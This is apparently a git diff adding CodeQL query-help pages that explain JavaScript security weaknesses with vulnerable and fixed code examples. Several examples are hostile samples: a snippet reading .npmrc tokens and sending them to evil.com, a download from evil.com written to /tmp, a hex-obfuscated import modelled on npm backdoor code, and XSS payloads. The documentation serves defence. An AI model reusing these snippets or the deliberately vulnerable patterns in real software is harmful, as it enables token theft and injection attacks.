security external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/DoubleEscaping.ql) + +Escaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `<` and the double-quote character as `"`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components. + +The reverse process of replacing escape sequences with the characters they represent is known as unescaping. + +Note that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last. + +If used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output. + + +## Recommendation +Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions. + +Otherwise, make sure to always escape the escape character first, and unescape it last. + + +## Example +The following example shows a pair of hand-written HTML encoding and decoding functions: + + +```javascript +module.exports.encode = function(s) { + return s.replace(/&/g, "&") + .replace(/"/g, """) + .replace(/'/g, "'"); +}; + +module.exports.decode = function(s) { + return s.replace(/&/g, "&") + .replace(/"/g, "\"") + .replace(/'/g, "'"); +}; + +``` +The encoding function correctly handles ampersand before the other characters. For example, the string `me & "you"` is encoded as `me & "you"`, and the string `"` is encoded as `&quot;`. + +The decoding function, however, incorrectly decodes `&` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&quot;`) to `"` (a single double quote), which is not correct. + +Instead, the decoding function should decode the ampersand last: + + +```javascript +module.exports.encode = function(s) { + return s.replace(/&/g, "&") + .replace(/"/g, """) + .replace(/'/g, "'"); +}; + +module.exports.decode = function(s) { + return s.replace(/"/g, "\"") + .replace(/'/g, "'") + .replace(/&/g, "&"); +}; + +``` + +## References +* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). +* npm: [html-entities](https://www.npmjs.com/package/html-entities) package. +* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package. +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ExceptionXss.md b/docs/language/query-help/javascript/ExceptionXss.md new file mode 100644 index 00000000000..ecfe1537078 --- /dev/null +++ b/docs/language/query-help/javascript/ExceptionXss.md @@ -0,0 +1,45 @@ +# Exception text reinterpreted as HTML + +``` +ID: js/xss-through-exception +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ExceptionXss.ql) + +Directly writing exceptions to a webpage without sanitization allows for a cross-site scripting vulnerability if the value of the exception can be influenced by a user. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting. + + +```javascript +function setLanguageOptions() { + var href = document.location.href, + deflt = href.substring(href.indexOf("default=")+8); + + try { + var parsed = unknownParseFunction(deflt); + } catch(e) { + document.write("Had an error: " + e + "."); + } +} + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/FileAccessToHttp.md b/docs/language/query-help/javascript/FileAccessToHttp.md new file mode 100644 index 00000000000..7227bb00c53 --- /dev/null +++ b/docs/language/query-help/javascript/FileAccessToHttp.md @@ -0,0 +1,42 @@ +# File data in outbound network request + +``` +ID: js/file-access-to-http +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-200 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-200/FileAccessToHttp.ql) + +Sending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. + + +## Recommendation +Examine the highlighted code closely to ensure that it is behaving as intended. + + +## Example +The following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header. + + +```javascript +var fs = require("fs"), + https = require("https"); + +var content = fs.readFileSync(".npmrc", "utf8"); +https.get({ + hostname: "evil.com", + path: "/upload", + method: "GET", + headers: { Referer: content } +}, () => { }); + +``` + +## References +* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes). +* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure). +* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). +* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedCredentials.md b/docs/language/query-help/javascript/HardcodedCredentials.md new file mode 100644 index 00000000000..bf416991c16 --- /dev/null +++ b/docs/language/query-help/javascript/HardcodedCredentials.md @@ -0,0 +1,44 @@ +# Hard-coded credentials + +``` +ID: js/hardcoded-credentials +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql) + +Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. + + +## Recommendation +Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. + + +## Example +The following code example connects to a Postgres database using the `pg` package and hard-codes user name and password: + + +```javascript +const pg = require("pg"); + +const client = new pg.Client({ + user: "bob", + host: "database.server.com", + database: "mydb", + password: "correct-horse-battery-staple", + port: 3211 +}); +client.connect(); + +``` +Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. + + +## References +* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). +* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). +* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). +* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md b/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md new file mode 100644 index 00000000000..aebe25d0e2d --- /dev/null +++ b/docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md @@ -0,0 +1,41 @@ +# Hard-coded data interpreted as code + +``` +ID: js/hardcoded-data-interpreted-as-code +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-506 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-506/HardcodedDataInterpretedAsCode.ql) + +Interpreting hard-coded data, such as string literals containing hexadecimal numbers, as code or as an import path is typical of malicious backdoor code that has been implanted into an otherwise trusted code base and is trying to hide its true purpose from casual readers or automated scanning tools. + + +## Recommendation +Examine the code in question carefully to ascertain its provenance and its true purpose. If the code is benign, it should always be possible to rewrite it without relying on dynamically interpreting data as code, improving both clarity and safety. + + +## Example +As an example of malicious code using this obfuscation technique, consider the following simplified version of a snippet of backdoor code that was discovered in a dependency of the popular `event-stream` npm package: + + +```javascript +var r = require; + +function e(r) { + return Buffer.from(r, "hex").toString() +} + +// BAD: hexadecimal constant decoded and interpreted as import path +var n = r(e("2e2f746573742f64617461")); + +``` +While this shows only the first few lines of code, it already looks very suspicious since it takes a hard-coded string literal, hex-decodes it and then uses it as an import path. The only reason to do so is to hide the name of the file being imported. + + +## References +* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). +* The npm Blog: [Details about the event-stream incident](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident). +* Common Weakness Enumeration: [CWE-506](https://cwe.mitre.org/data/definitions/506.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md b/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md new file mode 100644 index 00000000000..bb6f7633ccb --- /dev/null +++ b/docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md @@ -0,0 +1,77 @@ +# Host header poisoning in email generation + +``` +ID: js/host-header-forgery-in-email-generation +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-640 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-640/HostHeaderPoisoningInEmailGeneration.ql) + +Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site. + +If the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. + + +## Recommendation +Obtain the server's host name from a configuration file and avoid relying on the Host header. + + +## Example +The following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker: + + +```javascript +let nodemailer = require('nodemailer'); +let express = require('express'); +let backend = require('./backend'); + +let app = express(); + +let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); + +app.post('/resetpass', (req, res) => { + let email = req.query.email; + let transport = nodemailer.createTransport(config.smtp); + let token = backend.getUserSecretResetToken(email); + transport.sendMail({ + from: 'webmaster@example.com', + to: email, + subject: 'Forgot password', + text: `Click to reset password: https://${req.host}/resettoken/${token}`, + }); +}); + +``` +To ensure the link refers to the correct web site, get the host name from a configuration file: + + +```javascript +let nodemailer = require('nodemailer'); +let express = require('express'); +let backend = require('./backend'); + +let app = express(); + +let config = JSON.parse(fs.readFileSync('config.json', 'utf8')); + +app.post('/resetpass', (req, res) => { + let email = req.query.email; + let transport = nodemailer.createTransport(config.smtp); + let token = backend.getUserSecretResetToken(email); + transport.sendMail({ + from: 'webmaster@example.com', + to: email, + subject: 'Forgot password', + text: `Click to reset password: https://${config.hostname}/resettoken/${token}`, + }); +}); + +``` + +## References +* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html). +* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/). +* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/HttpToFileAccess.md b/docs/language/query-help/javascript/HttpToFileAccess.md new file mode 100644 index 00000000000..dae88649064 --- /dev/null +++ b/docs/language/query-help/javascript/HttpToFileAccess.md @@ -0,0 +1,42 @@ +# Network data written to file + +``` +ID: js/http-to-file-access +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-912 external/cwe/cwe-434 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql) + +Storing user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base. + + +## Recommendation +Examine the highlighted code closely to ensure that it is behaving as intended. + + +## Example +The following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`. + + +```javascript +var https = require("https"); +var fs = require("fs"); + +https.get('https://evil.com/script', res => { + res.on("data", d => { + fs.writeFileSync("/tmp/script", d) + }) +}); + +``` +Other parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source. + + +## References +* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse). +* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload). +* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html). +* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IdentityReplacement.md b/docs/language/query-help/javascript/IdentityReplacement.md new file mode 100644 index 00000000000..b8d8ccbcd00 --- /dev/null +++ b/docs/language/query-help/javascript/IdentityReplacement.md @@ -0,0 +1,38 @@ +# Replacement of a substring with itself + +``` +ID: js/identity-replacement +Kind: problem +Severity: warning +Precision: very-high +Tags: correctness security external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/RegExp/IdentityReplacement.ql) + +Replacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape. + + +## Recommendation +Examine the string replacement to find and correct any typos. + + +## Example +The following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `"` with `\"`: + + +```javascript +var escaped = raw.replace(/"/g, '\"'); + +``` +However, the replacement string `'\"'` is actually the same as `'"'`, with `\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\"'`: + + +```javascript +var escaped = raw.replace(/"/g, '\\"'); + +``` + +## References +* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ImproperCodeSanitization.md b/docs/language/query-help/javascript/ImproperCodeSanitization.md new file mode 100644 index 00000000000..c29ef6c0aa9 --- /dev/null +++ b/docs/language/query-help/javascript/ImproperCodeSanitization.md @@ -0,0 +1,63 @@ +# Improper code sanitization + +``` +ID: js/bad-code-sanitization +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/ImproperCodeSanitization.ql) + +Using string concatenation to construct JavaScript code can be error-prone, or in the worst case, enable code injection if an input is constructed by an attacker. + + +## Recommendation +If using `JSON.stringify` or a HTML sanitizer to sanitize a string inserted into JavaScript code, then make sure to perform additional sanitization or remove potentially dangerous characters. + + +## Example +The example below constructs a function that assigns the number 42 to the property `key` on an object `obj`. However, if `key` contains ``, then the generated code will break out of a `` if inserted into a `` tag. + + +```javascript +function createObjectWrite() { + const assignment = `obj[${JSON.stringify(key)}]=42`; + return `(function(){${assignment}})` // NOT OK +} +``` +The issue has been fixed by escaping potentially dangerous characters, as shown below. + + +```javascript +const charMap = { + '<': '\\u003C', + '>' : '\\u003E', + '/': '\\u002F', + '\\': '\\\\', + '\b': '\\b', + '\f': '\\f', + '\n': '\\n', + '\r': '\\r', + '\t': '\\t', + '\0': '\\0', + '\u2028': '\\u2028', + '\u2029': '\\u2029' +}; + +function escapeUnsafeChars(str) { + return str.replace(/[<>\b\f\n\r\t\0\u2028\u2029]/g, x => charMap[x]) +} + +function createObjectWrite() { + const assignment = `obj[${escapeUnsafeChars(JSON.stringify(key))}]=42`; + return `(function(){${assignment}})` // OK +} +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHostnameRegExp.md b/docs/language/query-help/javascript/IncompleteHostnameRegExp.md new file mode 100644 index 00000000000..0972173a4d5 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteHostnameRegExp.md @@ -0,0 +1,47 @@ +# Incomplete regular expression for hostnames + +``` +ID: js/incomplete-hostname-regexp +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) + +Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. + +If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. + + +## Recommendation +Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. + + +## Example +The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. + + +```javascript +app.get('/some/path', function(req, res) { + let url = req.param('url'), + host = urlLib.parse(url).host; + // BAD: the host of `url` may be controlled by an attacker + let regex = /^((www|beta).)?example.com/; + if (host.match(regex)) { + res.redirect(url); + } +}); + +``` +The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. + +Address this vulnerability by escaping `.` appropriately: `let regex = /((www|beta)\.)?example\.com/`. + + +## References +* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md b/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md new file mode 100644 index 00000000000..8f37ddb3c89 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md @@ -0,0 +1,61 @@ +# Incomplete HTML attribute sanitization + +``` +ID: js/incomplete-html-attribute-sanitization +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteHtmlAttributeSanitization.ql) + +Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized. + +As a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML. + + +## Recommendation +Sanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used. + + +## Example +The following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `" onclick="alert(42)` to inject JavaScript code into the response. + + +```javascript +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + let id = req.params.id; + id = id.replace(/<|>/g, ""); // BAD + let userHtml = `
${getUserName(id) || "Unknown name"}
`; + // ... + res.send(prefix + userHtml + suffix); +}); + +``` +Sanitizing the user-controlled data for `"` helps prevent the vulnerability: + + +```javascript +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + let id = req.params.id; + id = id.replace(/<|>|&|"/g, ""); // GOOD + let userHtml = `
${getUserName(id) || "Unknown name"}
`; + // ... + res.send(prefix + userHtml + suffix); +}); + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md b/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md new file mode 100644 index 00000000000..af83b6b7823 --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md @@ -0,0 +1,62 @@ +# Incomplete multi-character sanitization + +``` +ID: js/incomplete-multi-character-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql) + +Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. + +However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. + +In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. + +Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. + + +## Recommendation +Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. + +Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. + +Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. + +For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. + + +## Example +For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: + + +```javascript +function escapeQuotes(s) { + return s.replace("'", "''"); +} + +``` +As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. + +As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. + +If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: + + +```javascript +function escapeQuotes(s) { + return s.replace(/'/g, "''"); +} + +``` +Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. + + +## References +* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). +* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteSanitization.md b/docs/language/query-help/javascript/IncompleteSanitization.md new file mode 100644 index 00000000000..3baf4fe0c6d --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteSanitization.md @@ -0,0 +1,62 @@ +# Incomplete string escaping or encoding + +``` +ID: js/incomplete-sanitization +Kind: problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/IncompleteSanitization.ql) + +Sanitizing untrusted input is an important technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters. + +However, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself. + +In the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective. + +Even if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output. + + +## Recommendation +Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. + +Otherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable. + +Note, however, that this is generally *not* sufficient for replacing multi-character strings: the `String.prototype.replace` method only performs one pass over the input string, and will not replace further instances of the string that result from earlier replacements. + +For example, consider the code snippet `s.replace(/\/\.\.\//g, "")`, which attempts to strip out all occurences of `/../` from `s`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove. + + +## Example +For example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them: + + +```javascript +function escapeQuotes(s) { + return s.replace("'", "''"); +} + +``` +As written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced. + +As mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources. + +If this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` ("global") flag instead: + + +```javascript +function escapeQuotes(s) { + return s.replace(/'/g, "''"); +} + +``` +Note that it is very important to include the global flag: `s.replace(/'/, "''")` *without* the global flag is equivalent to the first example above and only replaces the first quote. + + +## References +* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). +* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package. +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md b/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md new file mode 100644 index 00000000000..fffc180bccf --- /dev/null +++ b/docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md @@ -0,0 +1,50 @@ +# Incomplete URL scheme check + +``` +ID: js/incomplete-url-scheme-check +Kind: problem +Severity: warning +Precision: high +Tags: security correctness external/cwe/cwe-020 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) + +URLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme. + +However, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient. + + +## Recommendation +Add checks covering both `data:` and `vbscript:`. + + +## Example +The following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned. + + +```javascript +function sanitizeUrl(url) { + let u = decodeURI(url).trim().toLowerCase(); + if (u.startsWith("javascript:")) + return "about:blank"; + return url; +} + +``` +While this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well: + + +```javascript +function sanitizeUrl(url) { + let u = decodeURI(url).trim().toLowerCase(); + if (u.startsWith("javascript:") || u.startsWith("data:") || u.startsWith("vbscript:")) + return "about:blank"; + return url; +} + +``` + +## References +* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md new file mode 